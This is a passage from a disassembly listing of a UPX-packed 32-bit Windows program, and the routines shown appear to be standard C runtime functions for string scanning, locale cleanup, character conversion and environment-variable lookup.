ebp call sub_40AC1C leave retn sub_414FEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151A8 proc near ; CODE XREF: sub_411B90+9Cp ; sub_41449B+85p var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h mov edi, edi push ebp mov ebp, esp sub esp, 10h push [ebp+arg_0] lea ecx, [ebp+var_10] call sub_40C799 push [ebp+arg_1C] lea ecx, [ebp+var_10] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] call sub_414FEE add esp, 1Ch cmp [ebp+var_4], 0 jz short locret_4151E8 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_4151E8: ; CODE XREF: sub_4151A8+37j leave retn sub_4151A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151EA proc near ; CODE XREF: sub_4121E0+ECp arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] test esi, esi jz loc_41537C push dword ptr [esi+4] call sub_40ADC8 push dword ptr [esi+8] call sub_40ADC8 push dword ptr [esi+0Ch] call sub_40ADC8 push dword ptr [esi+10h] call sub_40ADC8 push dword ptr [esi+14h] call sub_40ADC8 push dword ptr [esi+18h] call sub_40ADC8 push dword ptr [esi] call sub_40ADC8 push dword ptr [esi+20h] call sub_40ADC8 push dword ptr [esi+24h] call sub_40ADC8 push dword ptr [esi+28h] call sub_40ADC8 push dword ptr [esi+2Ch] call sub_40ADC8 push dword ptr [esi+30h] call sub_40ADC8 push dword ptr [esi+34h] call sub_40ADC8 push dword ptr [esi+1Ch] call sub_40ADC8 push dword ptr [esi+38h] call sub_40ADC8 push dword ptr [esi+3Ch] call sub_40ADC8 add esp, 40h push dword ptr [esi+40h] call sub_40ADC8 push dword ptr [esi+44h] call sub_40ADC8 push dword ptr [esi+48h] call sub_40ADC8 push dword ptr [esi+4Ch] call sub_40ADC8 push dword ptr [esi+50h] call sub_40ADC8 push dword ptr [esi+54h] call sub_40ADC8 push dword ptr [esi+58h] call sub_40ADC8 push dword ptr [esi+5Ch] call sub_40ADC8 push dword ptr [esi+60h] call sub_40ADC8 push dword ptr [esi+64h] call sub_40ADC8 push dword ptr [esi+68h] call sub_40ADC8 push dword ptr [esi+6Ch] call sub_40ADC8 push dword ptr [esi+70h] call sub_40ADC8 push dword ptr [esi+74h] call sub_40ADC8 push dword ptr [esi+78h] call sub_40ADC8 push dword ptr [esi+7Ch] call sub_40ADC8 add esp, 40h push dword ptr [esi+80h] call sub_40ADC8 push dword ptr [esi+84h] call sub_40ADC8 push dword ptr [esi+88h] call sub_40ADC8 push dword ptr [esi+8Ch] call sub_40ADC8 push dword ptr [esi+90h] call sub_40ADC8 push dword ptr [esi+94h] call sub_40ADC8 push dword ptr [esi+98h] call sub_40ADC8 push dword ptr [esi+9Ch] call sub_40ADC8 push dword ptr [esi+0A0h] call sub_40ADC8 push dword ptr [esi+0A4h] call sub_40ADC8 push dword ptr [esi+0A8h] call sub_40ADC8 add esp, 2Ch loc_41537C: ; CODE XREF: sub_4151EA+Bj pop esi pop ebp retn sub_4151EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41537F proc near ; CODE XREF: sub_4121E0+67p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_4153C1 mov eax, [esi] cmp eax, off_42AE00 jz short loc_41539D push eax call sub_40ADC8 pop ecx loc_41539D: ; CODE XREF: sub_41537F+15j mov eax, [esi+4] cmp eax, off_42AE04 jz short loc_4153AF push eax call sub_40ADC8 pop ecx loc_4153AF: ; CODE XREF: sub_41537F+27j mov esi, [esi+8] cmp esi, off_42AE08 jz short loc_4153C1 push esi call sub_40ADC8 pop ecx loc_4153C1: ; CODE XREF: sub_41537F+Bj ; sub_41537F+39j pop esi pop ebp retn sub_41537F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153C4 proc near ; CODE XREF: sub_4121E0+46p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41544F mov eax, [esi+0Ch] cmp eax, off_42AE0C jz short loc_4153E3 push eax call sub_40ADC8 pop ecx loc_4153E3: ; CODE XREF: sub_4153C4+16j mov eax, [esi+10h] cmp eax, off_42AE10 jz short loc_4153F5 push eax call sub_40ADC8 pop ecx loc_4153F5: ; CODE XREF: sub_4153C4+28j mov eax, [esi+14h] cmp eax, off_42AE14 jz short loc_415407 push eax call sub_40ADC8 pop ecx loc_415407: ; CODE XREF: sub_4153C4+3Aj mov eax, [esi+18h] cmp eax, off_42AE18 jz short loc_415419 push eax call sub_40ADC8 pop ecx loc_415419: ; CODE XREF: sub_4153C4+4Cj mov eax, [esi+1Ch] cmp eax, off_42AE1C jz short loc_41542B push eax call sub_40ADC8 pop ecx loc_41542B: ; CODE XREF: sub_4153C4+5Ej mov eax, [esi+20h] cmp eax, off_42AE20 jz short loc_41543D push eax call sub_40ADC8 pop ecx loc_41543D: ; CODE XREF: sub_4153C4+70j mov esi, [esi+24h] cmp esi, off_42AE24 jz short loc_41544F push esi call sub_40ADC8 pop ecx loc_41544F: ; CODE XREF: sub_4153C4+Bj ; sub_4153C4+82j pop esi pop ebp retn sub_4153C4 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+0Ch] lea ecx, [ecx+0] loc_415474: ; CODE XREF: UPX0:00415481j mov al, [edx] or al, al jz short loc_415483 add edx, 1 bts [esp], eax jmp short loc_415474 ; --------------------------------------------------------------------------- loc_415483: ; CODE XREF: UPX0:00415478j mov esi, [ebp+8] or ecx, 0FFFFFFFFh lea ecx, [ecx+0] loc_41548C: ; CODE XREF: UPX0:0041549Cj add ecx, 1 mov al, [esi] or al, al jz short loc_41549E add esi, 1 bt [esp], eax jnb short loc_41548C loc_41549E: ; CODE XREF: UPX0:00415493j mov eax, ecx add esp, 20h pop esi leave retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+0Ch] lea ecx, [ecx+0] loc_4154C4: ; CODE XREF: UPX0:004154D1j mov al, [edx] or al, al jz short loc_4154D3 add edx, 1 bts [esp], eax jmp short loc_4154C4 ; --------------------------------------------------------------------------- loc_4154D3: ; CODE XREF: UPX0:004154C8j mov esi, [ebp+8] mov edi, edi loc_4154D8: ; CODE XREF: UPX0:004154E5j mov al, [esi] or al, al jz short loc_4154EA add esi, 1 bt [esp], eax jnb short loc_4154D8 lea eax, [esi-1] loc_4154EA: ; CODE XREF: UPX0:004154DCj add esp, 20h pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4154F0 proc near ; CODE XREF: sub_412505+171p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_4] push esi call sub_411ACB mov [ebp+arg_4], eax mov eax, [esi+0Ch] pop ecx test al, 82h jnz short loc_415524 call sub_40C862 mov dword ptr [eax], 9 loc_415516: ; CODE XREF: sub_4154F0+43j or dword ptr [esi+0Ch], 20h loc_41551A: ; CODE XREF: sub_4154F0+E8j mov eax, 0FFFFh jmp loc_415661 ; --------------------------------------------------------------------------- loc_415524: ; CODE XREF: sub_4154F0+19j test al, 40h jz short loc_415535 call sub_40C862 mov dword ptr [eax], 22h jmp short loc_415516 ; --------------------------------------------------------------------------- loc_415535: ; CODE XREF: sub_4154F0+36j test al, 1 jz short loc_415550 and dword ptr [esi+4], 0 test al, 10h jz loc_4155D2 mov ecx, [esi+8] and eax, 0FFFFFFFEh mov [esi], ecx mov [esi+0Ch], eax loc_415550: ; CODE XREF: sub_4154F0+47j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+var_4], 0 push ebx push 2 and eax, 0FFFFFFEFh pop ebx or eax, ebx mov [esi+0Ch], eax test eax, 10Ch jnz short loc_41559A call sub_411916 add eax, 20h cmp esi, eax jz short loc_415586 call sub_411916 add eax, 40h cmp esi, eax jnz short loc_415593 loc_415586: ; CODE XREF: sub_4154F0+88j push [ebp+arg_4] call sub_4118B2 pop ecx test eax, eax jnz short loc_41559A loc_415593: ; CODE XREF: sub_4154F0+94j push esi call sub_411869 pop ecx loc_41559A: ; CODE XREF: sub_4154F0+7Cj ; sub_4154F0+A1j test dword ptr [esi+0Ch], 108h push edi jz loc_41562B mov eax, [esi+8] mov edi, [esi] lea ecx, [eax+2] mov [esi], ecx mov ecx, [esi+18h] sub edi, eax sub ecx, ebx mov [esi+4], ecx test edi, edi jle short loc_4155DD push edi push eax push [ebp+arg_4] call sub_41178D add esp, 0Ch mov [ebp+var_4], eax jmp short loc_415620 ; --------------------------------------------------------------------------- loc_4155D2: ; CODE XREF: sub_4154F0+4Fj or eax, 20h mov [esi+0Ch], eax jmp loc_41551A ; --------------------------------------------------------------------------- loc_4155DD: ; CODE XREF: sub_4154F0+CEj mov ecx, [ebp+arg_4] cmp ecx, 0FFFFFFFFh jz short loc_415600 cmp ecx, 0FFFFFFFEh jz short loc_415600 mov eax, ecx and eax, 1Fh mov edx, ecx sar edx, 5 shl eax, 6 add eax, dword_430160[edx*4] jmp short loc_415605 ; --------------------------------------------------------------------------- loc_415600: ; CODE XREF: sub_4154F0+F3j ; sub_4154F0+F8j mov eax, offset dword_42A3E0 loc_415605: ; CODE XREF: sub_4154F0+10Ej test byte ptr [eax+4], 20h jz short loc_415620 push ebx push 0 push 0 push ecx call sub_410F41 and eax, edx add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_41564D loc_415620: ; CODE XREF: sub_4154F0+E0j ; sub_4154F0+119j mov eax, [esi+8] mov ebx, [ebp+arg_0] mov [eax], bx jmp short loc_415648 ; --------------------------------------------------------------------------- loc_41562B: ; CODE XREF: sub_4154F0+B2j push 2 lea eax, [ebp+var_4] push eax push [ebp+arg_4] mov edi, ebx mov ebx, [ebp+arg_0] mov word ptr [ebp+var_4], bx call sub_41178D add esp, 0Ch mov [ebp+var_4], eax loc_415648: ; CODE XREF: sub_4154F0+139j cmp [ebp+var_4], edi jz short loc_415658 loc_41564D: ; CODE XREF: sub_4154F0+12Ej or dword ptr [esi+0Ch], 20h mov eax, 0FFFFh jmp short loc_41565F ; --------------------------------------------------------------------------- loc_415658: ; CODE XREF: sub_4154F0+15Bj mov eax, ebx and eax, 0FFFFh loc_41565F: ; CODE XREF: sub_4154F0+166j pop edi pop ebx loc_415661: ; CODE XREF: sub_4154F0+2Fj pop esi leave retn sub_4154F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415664 proc near ; CODE XREF: sub_4157D0+13p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h arg_10 = dword ptr 18h mov edi, edi push ebp mov ebp, esp sub esp, 10h push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov edi, [ebp+arg_8] cmp esi, ebx jnz short loc_41568F cmp edi, ebx jbe short loc_41568F mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_415688 mov [eax], ebx loc_415688: ; CODE XREF: sub_415664+20j ; sub_415664+F9j ... xor eax, eax jmp loc_415712 ; --------------------------------------------------------------------------- loc_41568F: ; CODE XREF: sub_415664+15j ; sub_415664+19j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_415699 or dword ptr [eax], 0FFFFFFFFh loc_415699: ; CODE XREF: sub_415664+30j cmp edi, 7FFFFFFFh jbe short loc_4156BC call sub_40C862 push 16h pop esi push ebx push ebx push ebx push ebx push ebx mov [eax], esi call sub_40B255 add esp, 14h loc_4156B8: ; CODE XREF: sub_415664+D5j ; sub_415664+E2j mov eax, esi jmp short loc_415712 ; --------------------------------------------------------------------------- loc_4156BC: ; CODE XREF: sub_415664+3Bj push [ebp+arg_10] lea ecx, [ebp+var_10] call sub_40C799 mov eax, [ebp+var_10] cmp [eax+14h], ebx jnz loc_41576F mov ax, [ebp+arg_C] mov ecx, 0FFh cmp ax, cx jbe short loc_415717 cmp esi, ebx jz short loc_4156F4 cmp edi, ebx jbe short loc_4156F4 push edi push ebx push esi call sub_40BD40 add esp, 0Ch loc_4156F4: ; CODE XREF: sub_415664+7Fj ; sub_415664+83j ... call sub_40C862 mov dword ptr [eax], 2Ah call sub_40C862 mov eax, [eax] cmp [ebp+var_4], bl jz short loc_415712 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh loc_415712: ; CODE XREF: sub_415664+26j ; sub_415664+56j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_415717: ; CODE XREF: sub_415664+7Bj cmp esi, ebx jz short loc_41574D cmp edi, ebx ja short loc_41574B loc_41571F: ; CODE XREF: sub_415664+14Ej ; sub_415664+156j ... call sub_40C862 push 22h pop esi push ebx push ebx push ebx push ebx push ebx mov [eax], esi call sub_40B255 add esp, 14h cmp [ebp+var_4], bl jz loc_4156B8 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh jmp loc_4156B8 ; --------------------------------------------------------------------------- loc_41574B: ; CODE XREF: sub_415664+B9j mov [esi], al loc_41574D: ; CODE XREF: sub_415664+B5j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_41575A mov dword ptr [eax], 1 loc_41575A: ; CODE XREF: sub_415664+EEj ; sub_415664+137j ... cmp [ebp+var_4], bl jz loc_415688 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh jmp loc_415688 ; --------------------------------------------------------------------------- loc_41576F: ; CODE XREF: sub_415664+69j lea ecx, [ebp+arg_4] push ecx push ebx push edi push esi push 1 lea ecx, [ebp+arg_C] push ecx push ebx mov [ebp+arg_4], ebx push dword ptr [eax+4] call dword_41D07C ; WideCharToMultiByte cmp eax, ebx jz short loc_4157A1 cmp [ebp+arg_4], ebx jnz loc_4156F4 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_41575A mov [ecx], eax jmp short loc_41575A ; --------------------------------------------------------------------------- loc_4157A1: ; CODE XREF: sub_415664+127j call dword_41D1D8 ; RtlGetLastWin32Error cmp eax, 7Ah jnz loc_4156F4 cmp esi, ebx jz loc_41571F cmp edi, ebx jbe loc_41571F push edi push ebx push esi call sub_40BD40 add esp, 0Ch jmp loc_41571F sub_415664 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157D0 proc near ; CODE XREF: sub_412505+108p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h mov edi, edi push ebp mov ebp, esp push 0 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_415664 add esp, 14h pop ebp retn sub_4157D0 endp ; --------------------------------------------------------------------------- push 2 call sub_40DAD0 pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157F6 proc near ; CODE XREF: sub_415847+25p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp sub esp, 10h push [ebp+arg_4] lea ecx, [ebp+var_10] call sub_40C799 mov eax, [ebp+var_10] cmp dword ptr [eax+0ACh], 1 jle short loc_415828 lea eax, [ebp+var_10] push eax push 4 push [ebp+arg_0] call sub_41449B add esp, 0Ch jmp short loc_415838 ; --------------------------------------------------------------------------- loc_415828: ; CODE XREF: sub_4157F6+1Dj mov eax, [eax+0C8h] mov ecx, [ebp+arg_0] movzx eax, word ptr [eax+ecx*2] and eax, 4 loc_415838: ; CODE XREF: sub_4157F6+30j cmp [ebp+var_4], 0 jz short locret_415845 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_415845: ; CODE XREF: sub_4157F6+46j leave retn sub_4157F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415847 proc near ; CODE XREF: sub_418D6B+2Ap arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp cmp dword_42ED1C, 0 jnz short loc_415867 mov eax, [ebp+arg_0] mov ecx, off_42ACC8 movzx eax, word ptr [ecx+eax*2] and eax, 4 pop ebp retn ; --------------------------------------------------------------------------- loc_415867: ; CODE XREF: sub_415847+Cj push 0 push [ebp+arg_0] call sub_4157F6 pop ecx pop ecx pop ebp retn sub_415847 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415875 proc near ; CODE XREF: sub_415A3D+10p var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h mov edi, edi push ebp mov ebp, esp sub esp, 14h push ebx xor ebx, ebx cmp [ebp+arg_8], ebx jnz short loc_41588C xor eax, eax jmp loc_415A26 ; --------------------------------------------------------------------------- loc_41588C: ; CODE XREF: sub_415875+Ej push [ebp+arg_C] lea ecx, [ebp+var_14] call sub_40C799 mov eax, [ebp+var_10] cmp [eax+8], ebx jnz short loc_4158C5 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41620E add esp, 0Ch cmp [ebp+var_8], bl jz loc_415A26 mov ecx, [ebp+var_C] and dword ptr [ecx+70h], 0FFFFFFFDh jmp loc_415A26 ; --------------------------------------------------------------------------- loc_4158C5: ; CODE XREF: sub_415875+28j push edi mov edi, [ebp+arg_0] cmp edi, ebx jz short loc_4158D2 cmp [ebp+arg_4], ebx jnz short loc_415900 loc_4158D2: ; CODE XREF: sub_415875+56j call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40B255 add esp, 14h cmp [ebp+var_8], bl jz short loc_4158F6 mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_4158F6: ; CODE XREF: sub_415875+78j mov eax, 7FFFFFFFh jmp loc_415A25 ; --------------------------------------------------------------------------- loc_415900: ; CODE XREF: sub_415875+5Bj push esi loc_415901: ; CODE XREF: sub_415875+19Bj movzx cx, byte ptr [edi] dec [ebp+arg_8] movzx ecx, cx movzx edx, cl inc edi test byte ptr [edx+eax+1Dh], 4 mov [ebp+var_4], ecx jz short loc_41595C mov dl, [edi] cmp dl, bl jnz short loc_415924 mov [ebp+var_4], ebx jmp short loc_41597C ; --------------------------------------------------------------------------- loc_415924: ; CODE XREF: sub_415875+A8j shl ecx, 8 movzx dx, dl or cx, dx movzx ecx, cx mov si, cx inc edi mov [ebp+var_4], ecx cmp si, [eax+10h] jb short loc_41594A cmp si, [eax+12h] ja short loc_41594A add si, [eax+14h] jmp short loc_415980 ; --------------------------------------------------------------------------- loc_41594A: ; CODE XREF: sub_415875+C7j ; sub_415875+CDj cmp si, [eax+16h] jb short loc_415980 cmp si, [eax+18h] ja short loc_415980 add si, [eax+1Ah] jmp short loc_415980 ; --------------------------------------------------------------------------- loc_41595C: ; CODE XREF: sub_415875+A2j movzx edx, word ptr [ebp+var_4] lea ecx, [edx+eax] test byte ptr [ecx+1Dh], 10h jz short loc_415976 movzx cx, byte ptr [ecx+11Dh] movzx ecx, cx jmp short loc_415979 ; --------------------------------------------------------------------------- loc_415976: ; CODE XREF: sub_415875+F2j movzx ecx, dx loc_415979: ; CODE XREF: sub_415875+FFj mov [ebp+var_4], ecx loc_41597C: ; CODE XREF: sub_415875+ADj mov si, word ptr [ebp+var_4] loc_415980: ; CODE XREF: sub_415875+D3j ; sub_415875+D9j ... mov ecx, [ebp+arg_4] movzx cx, byte ptr [ecx] inc [ebp+arg_4] movzx ecx, cx movzx edx, cl test byte ptr [edx+eax+1Dh], 4 mov [ebp+var_4], ecx jz short loc_4159DF mov edx, [ebp+arg_4] mov dl, [edx] cmp dl, bl jnz short loc_4159A8 mov [ebp+var_4], ebx jmp short loc_4159FF ; --------------------------------------------------------------------------- loc_4159A8: ; CODE XREF: sub_415875+12Cj shl ecx, 8 movzx dx, dl or cx, dx inc [ebp+arg_4] movzx ecx, cx mov [ebp+var_4], ecx cmp cx, [eax+10h] jb short loc_4159CD cmp cx, [eax+12h] ja short loc_4159CD add cx, [eax+14h] jmp short loc_415A03 ; --------------------------------------------------------------------------- loc_4159CD: ; CODE XREF: sub_415875+14Aj ; sub_415875+150j cmp cx, [eax+16h] jb short loc_415A03 cmp cx, [eax+18h] ja short loc_415A03 add cx, [eax+1Ah] jmp short loc_415A03 ; --------------------------------------------------------------------------- loc_4159DF: ; CODE XREF: sub_415875+123j movzx edx, word ptr [ebp+var_4] lea ecx, [edx+eax] test byte ptr [ecx+1Dh], 10h jz short loc_4159F9 movzx cx, byte ptr [ecx+11Dh] movzx ecx, cx jmp short loc_4159FC ; --------------------------------------------------------------------------- loc_4159F9: ; CODE XREF: sub_415875+175j movzx ecx, dx loc_4159FC: ; CODE XREF: sub_415875+182j mov [ebp+var_4], ecx loc_4159FF: ; CODE XREF: sub_415875+131j mov cx, word ptr [ebp+var_4] loc_415A03: ; CODE XREF: sub_415875+156j ; sub_415875+15Cj ... cmp cx, si jnz short loc_415A29 cmp si, bx jz short loc_415A16 cmp [ebp+arg_8], ebx jnz loc_415901 loc_415A16: ; CODE XREF: sub_415875+196j cmp [ebp+var_8], bl jz short loc_415A22 mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_415A22: ; CODE XREF: sub_415875+1A4j xor eax, eax loc_415A24: ; CODE XREF: sub_415875+1BDj ; sub_415875+1C6j pop esi loc_415A25: ; CODE XREF: sub_415875+86j pop edi loc_415A26: ; CODE XREF: sub_415875+12j ; sub_415875+3Ej ... pop ebx leave retn ; --------------------------------------------------------------------------- loc_415A29: ; CODE XREF: sub_415875+191j sbb eax, eax and eax, 2 dec eax cmp [ebp+var_8], bl jz short loc_415A24 mov ecx, [ebp+var_C] and dword ptr [ecx+70h], 0FFFFFFFDh jmp short loc_415A24 sub_415875 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A3D proc near ; CODE XREF: sub_413E93+1E1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_415875 add esp, 10h pop ebp retn sub_415A3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A57 proc near ; CODE XREF: sub_415ADE+60p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp cmp dword_430264, 0 push esi mov esi, dword_42E88C jnz short loc_415A70 xor eax, eax jmp short loc_415AD3 ; --------------------------------------------------------------------------- loc_415A70: ; CODE XREF: sub_415A57+13j push edi test esi, esi jnz short loc_415A90 cmp dword_42E894, esi jz short loc_415AD0 call sub_416374 test eax, eax jnz short loc_415AD0 mov esi, dword_42E88C test esi, esi jz short loc_415AD0 loc_415A90: ; CODE XREF: sub_415A57+1Cj cmp [ebp+arg_0], 0 jz short loc_415AD0 push [ebp+arg_0] call sub_40BFB0 pop ecx mov edi, eax jmp short loc_415ACA ; --------------------------------------------------------------------------- loc_415AA3: ; CODE XREF: sub_415A57+77j push eax call sub_40BFB0 pop ecx cmp eax, edi jbe short loc_415AC7 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_415AC7 push edi push [ebp+arg_0] push eax call sub_41635A add esp, 0Ch test eax, eax jz short loc_415AD6 loc_415AC7: ; CODE XREF: sub_415A57+55j ; sub_415A57+5Dj add esi, 4 loc_415ACA: ; CODE XREF: sub_415A57+4Aj mov eax, [esi] test eax, eax jnz short loc_415AA3 loc_415AD0: ; CODE XREF: sub_415A57+24j ; sub_415A57+2Dj ... xor eax, eax loc_415AD2: ; CODE XREF: sub_415A57+85j pop edi loc_415AD3: ; CODE XREF: sub_415A57+17j pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_415AD6: ; CODE XREF: sub_415A57+6Ej mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_415AD2 sub_415A57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415ADE proc near ; CODE XREF: sub_413E93+A4p var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 10h push offset dword_426CF8 call __SEH_prolog4 push 7 call sub_40CFA9 pop ecx xor esi, esi mov [ebp+ms_exc.disabled], esi xor eax, eax mov ebx, [ebp+arg_0] cmp ebx, esi setnz al cmp eax, esi jnz short loc_415B24 loc_415B05: ; CODE XREF: sub_415ADE+5Bj call sub_40C862 push 16h pop edi mov [eax], edi push esi push esi push esi push esi push esi call sub_40B255 add esp, 14h mov [ebp+var_1C], edi jmp loc_415BA6 ; --------------------------------------------------------------------------- loc_415B24: ; CODE XREF: sub_415ADE+25j mov [ebx], esi mov eax, [ebp+arg_4] cmp eax, esi jz short loc_415B2F mov [eax], esi loc_415B2F: ; CODE XREF: sub_415ADE+4Dj xor eax, eax cmp [ebp+arg_8], esi setnz al cmp eax, esi jz short loc_415B05 push [ebp+arg_8] call sub_415A57 pop ecx mov [ebp+var_20], eax cmp eax, esi jz short loc_415BA3 push eax call sub_40BFB0 mov edi, eax inc edi push 1 push edi call sub_40B5BD add esp, 0Ch mov [ebx], eax cmp eax, esi jnz short loc_415B7C call sub_40C862 mov dword ptr [eax], 0Ch call sub_40C862 mov eax, [eax] mov [ebp+var_1C], eax jmp short loc_415BA6 ; --------------------------------------------------------------------------- loc_415B7C: ; CODE XREF: sub_415ADE+85j push [ebp+var_20] push edi push eax call sub_40CD95 add esp, 0Ch cmp eax, esi jz short loc_415B9A push esi push esi push esi push esi push esi call sub_40B12D add esp, 14h loc_415B9A: ; CODE XREF: sub_415ADE+ADj mov eax, [ebp+arg_4] cmp eax, esi jz short loc_415BA3 mov [eax], edi loc_415BA3: ; CODE XREF: sub_415ADE+6Bj ; sub_415ADE+C1j mov [ebp+var_1C], esi loc_415BA6: ; CODE XREF: sub_415ADE+41j ; sub_415ADE+9Cj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_415BBB mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_415ADE endp ; =============== S U B R O U T I N E ======================================= sub_415BBB proc near ; CODE XREF: sub_415ADE+CFp ; DATA XREF: UPX0:00426D10o push 7 call sub_40CECF pop ecx retn sub_415BBB endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_415BE0 loc_415BD0: ; CODE XREF: sub_415BE0+1Fj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_415BE0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_415BE0 proc near ; CODE XREF: sub_4142F5+52p arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00415BD0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_415C0D loc_415BF8: ; CODE XREF: sub_415BE0+2Bj mov cl, [edx] add edx, 1 cmp cl, bl jz short loc_415BD0 test cl, cl jz short loc_415C56 test edx, 3 jnz short loc_415BF8 loc_415C0D: ; CODE XREF: sub_415BE0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_415C18: ; CODE XREF: sub_415BE0+63j ; sub_415BE0+72j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_415C5A and eax, 81010100h jz short loc_415C18 and eax, 1010100h jnz short loc_415C54 and esi, 80000000h jnz short loc_415C18 loc_415C54: ; CODE XREF: sub_415BE0+6Aj ; sub_415BE0+83j ... pop esi pop edi loc_415C56: ; CODE XREF: sub_415BE0+23j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_415C5A: ; CODE XREF: sub_415BE0+5Cj mov eax, [edx-4] cmp al, bl jz short loc_415C97 test al, al jz short loc_415C54 cmp ah, bl jz short loc_415C90 test ah, ah jz short loc_415C54 shr eax, 10h cmp al, bl jz short loc_415C89 test al, al jz short loc_415C54 cmp ah, bl jz short loc_415C82 test ah, ah jz short loc_415C54 jmp short loc_415C18 ; --------------------------------------------------------------------------- loc_415C82: ; CODE XREF: sub_415BE0+9Aj pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_415C89: ; CODE XREF: sub_415BE0+92j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_415C90: ; CODE XREF: sub_415BE0+87j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_415C97: ; CODE XREF: sub_415BE0+7Fj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_415BE0 endp ; --------------------------------------------------------------------------- align 10h ; 